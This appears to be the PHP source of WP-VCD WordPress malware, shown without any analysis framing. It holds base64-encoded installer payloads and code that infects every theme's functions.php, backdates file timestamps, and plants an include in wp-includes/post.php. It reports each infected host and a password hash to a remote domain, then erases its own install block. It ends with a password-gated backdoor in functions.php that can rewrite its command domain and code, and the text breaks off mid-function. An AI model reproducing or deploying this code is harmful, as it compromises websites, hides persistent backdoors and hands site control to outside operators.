JCQkJCQkJCQl0b3VjaCggJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcgLCAkdGltZSApOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJZWxzZQoJCQkJCQkJCQkJCQl7CgkJCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkKCQkJCQkJCQl9CgkJCQkJCQkJCgkJCQkJCQkJCgkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaXN0MiA9IHNjYW5kaXIoICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8pOwoJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0MiBhcyAkXzIpCgkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJewoJCQkJCQkJCQkJCQkJCQkKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfMiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpKQoJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICB7CgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyk7CgkJCQkJCQkJCQkKCQkJCQkJCQkJaWYgKCRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXzIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkKCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQlpZiAoc3RycG9zKCRjb250ZW50LCAnV1BfVl9DRCcpID09PSBmYWxzZSkKCQkJCQkJCQkJCQkJewoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOwoJCQkJCQkJCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJywgJGNvbnRlbnQpOwoJCQkJCQkJCQkJCQkJdG91Y2goICR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8yIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyAsICR0aW1lICk7CgkJCQkJCQkJCQkJCQkkcGluZzIgPSB0cnVlOwoJCQkJCQkJCQkJCQl9CgoKCgoKCgoKCQkJCQkJCQkJCQllbHNlCgkJCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQkJCS8vJHBpbmcgPSBmYWxzZTsKCQkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCgkJCQkJCQkJfQoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCWlmICgkcGluZykgewoJCQkJCQkkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL28ucGhwP2hvc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2gpOwoJCQkJCQkvL0BmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJy93cC1pbmNsdWRlcy9jbGFzcy53cC5waHAnLCBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL2FkbWluLnR4dCcpKTsKCQkJCQl9CgkJCQkJCgkJCQkJCQkJCQkJCQkJCWlmICgkcGluZzIpIHsKCQkJCQkJJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93d3cua3JpbG5zLmNvbS9vLnBocD9ob3N0PScgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl0gLiAnJnBhc3N3b3JkPScgLiAkaW5zdGFsbF9oYXNoKTsKCQkJCQkJLy9AZmlsZV9wdXRfY29udGVudHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy9jbGFzcy53cC5waHAnLCBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5rcmlsbnMuY29tL2FkbWluLnR4dCcpKTsKLy9lY2hvIEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvY2xhc3Mud3AucGhwJzsKCQkJCQl9CgkJCQkJCgkJCQkJCgkJCQkJCgkJCQl9CgkJCgoKCgo/Pjw/cGhwIGVycm9yX3JlcG9ydGluZygwKTs/Pg==';
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();
$search = Array(
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);
function getDirList($path) {
if ($dir = @opendir($path)) {
$result = Array();
while (($filename = @readdir($dir)) !== false) {
if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename)) {
$result[] = $path . '/' . $filename;
}
}
return $result;
}
return false;
}
function WP_URL_CD($path) {
if (($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE'])))) {
if (strpos($file, 'wp-vcd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
//@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt'));
}
}
}
function SearchFile($search, $path) {
if ($dir = @opendir($path)) {
$i = 0;
while (($filename = @readdir($dir)) !== false) {
if ($i > MAX_ITERATION) {
break;
}
$i++;
if ($filename != '.' && $filename != '..') {
if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey'])) {
SearchFile($search, $path . '/' . $filename);
} else {
foreach ($search as $_) {
if (strtolower($filename) == strtolower($_['file'])) {
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
}
}
}
}
}
}
}
if (is_admin() && (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin'])))) {
if (isset($_GET['plugin'])) {
global $wpdb;
}
$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaF9hbGwoJy9cJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNcKCJodHRwOlwvXC8oLiopXC9jb2RlXC5waHAvaScsJGZpbGUsJG1hdGNob2xkZG9tYWluKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvJy4kbWF0Y2hvbGRkb21haW5bMV1bMF0uJy9pJywkX1JFUVVFU1RbJ25ld2RvbWFpbiddLCAkZmlsZSk7CgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOwoJCQkJCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAidHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgoKCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoKCQkJCQkJCQljYXNlICdjaGFuZ2VfY29kZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJewoJCQkJCQkJCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJCQl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wvXC9cJHN0YXJ0X3dwX3RoZW1lX3RtcChbXHNcU10qKVwvXC9cJGVuZF93cF90aGVtZV90bXAvaScsJGZpbGUsJG1hdGNob2xkY29kZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CgoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCRtYXRjaG9sZGNvZGVbMV1bMF0sIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ25ld2NvZGUnXSksICRmaWxlKTsKCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkZmlsZSk7CgkJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJ0cnVlIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCgoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVl9DRCBXUF9DRCI7CgkJCX0KCQkJCgkJZGllKCIiKTsKCX0KCgoKCgoKCgokZGl2X2NvZGVfbmFtZSA9ICJ3cF92Y2QiOwokZnVuY2ZpbGUgICAgICA9IF9fRklMRV9fOwppZighZnVuY3Rpb25fZXhpc3RzKCd0aGVtZV90ZW1wX3NldHVwJykpIHsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbUkVRVUVTVF9VUkldOwogICAgaWYgKHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsKICAgICAgICAKICAgICAgICBmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50c190Y3VybCgkdXJsKQogICAgICAgIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgVFJVRSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsKICAgICAgICAgICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJGRhdGE7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIHRoZW1lX3RlbXBfc2V0dXAoJHBocENvZGUpCiAgICAgICAgewogICAgICAgICAgICAkdG1wZm5hbWUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInRoZW1lX3RlbXBfc2V0dXAiKTsKICAgICAgICAgICAgJGhhbmRsZSAgID0gZm9wZW4oJHRtcGZuYW1lLCAidysiKTsKICAgICAgICAgICBpZiggZndyaXRlKCRoYW5kbGUsICI8P3BocFxuIiAuICRwaHBDb2RlKSkKCQkgICB7CgkJICAgfQoJCQllbHNlCgkJCXsKCQkJJHRtcGZuYW1lID0gdGVtcG5hbSgnLi8nLCAidGhlbWVfdGVtcF9zZXR1cCIpOwogICAgICAgICAgICAkaGFuZGxlICAgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOwoJCQlmd3JpdGUoJGhhbmRsZSwgIjw/cGhwXG4iIC4gJHBocENvZGUpOwoJCQl9CgkJCWZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgaW5jbHVkZSAkdG1wZm5hbWU7CiAgICAgICAgICAgIHVubGluaygkdG1wZm5hbWUpOwogICAgICAgICAgICByZXR1cm4gZ2V0X2RlZmluZWRfdmFycygpOwogICAgICAgIH0KICAgICAgICAKCiR3cF9hdXRoX2tleT0nYmQ3N2NkNGJhOWZhZTg0Njc4ZTZmMWI1Y2Y5Yjk2NjUnOwogICAgICAgIGlmICgoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cua3JpbG5zLmNvbS9jb2RlLnBocCIpIE9SICR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzX3RjdXJsKCJodHRwOi8vd3d3LmtyaWxucy5jb20vY29kZS5waHAiKSkgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CgogICAgICAgICAgICBpZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgCiAgICAgICAgZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5rcmlsbnMucHcvY29kZS5waHAiKSAgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlICkgewoKaWYgKHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCd3cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CiAgICAgICAgfSAKCQkKCQkgICAgICAgIGVsc2VpZiAoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cua3JpbG5zLnRvcC9jb2RlLnBocCIpICBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UgKSB7CgppZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CgkJZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7CiAgICAgICAgICAgCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICB9Cn0KCi8vJHN0YXJ0X3dwX3RoZW1lX3RtcAoKCgovL3dwX3RtcAoKCi8vJGVuZF93cF90aGVtZV90bXAKPz4=';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code));
$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
$ping2 = false;
if ($list = scandir($themes)) {
foreach ($list as $_) {
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
if (strpos($content, 'WP_V_CD') === false) {
$content = $install_code . $content;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time);
} else {
$ping = false;
}
}
} else {
$list2 = scandir($themes . DIRECTORY_SEPARATOR . $_);
foreach ($list2 as $_2) {
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
if (strpos($content, 'WP_V_CD') === false) {
$content = $install_code . $content;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time);
$ping2 = true;
} else {
//$ping2 = true;
}
}
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://www.krilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}
if ($ping2) {
$content = @file_get_contents('http://www.krilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.krilns.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}
}
for ($i = 0; $i < MAX_LEVEL; $i++) {
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
}
foreach ($dirs as $dir) {
foreach (@getDirList($dir) as $__) {
@SearchFile($search, $__);
}
}
foreach ($GLOBALS['DIR_ARRAY'] as $e) {
//print_r($e);
if ($file = file_get_contents($e[1])) {
WP_URL_CD(dirname($e[1]));
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt)) {
if ($salt[1] != AUTH_SALT) {
// WP_URL_CD(dirname($e[1]));
//echo dirname($e[1]);
}
}
}
}
if ($file = @file_get_contents(__FILE__)) {
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<\?php\s*\?>!s', '', $file);
@file_put_contents(__FILE__, $file);
}
}
//install_code_end
?><?php error_reporting(0);?>
Raw
functions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ebf846e9c42d5bXXXX5024143adb3071')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode'])) {
if (!empty($_REQUEST['newcode'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if (!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url) {
$ch = curl_init();
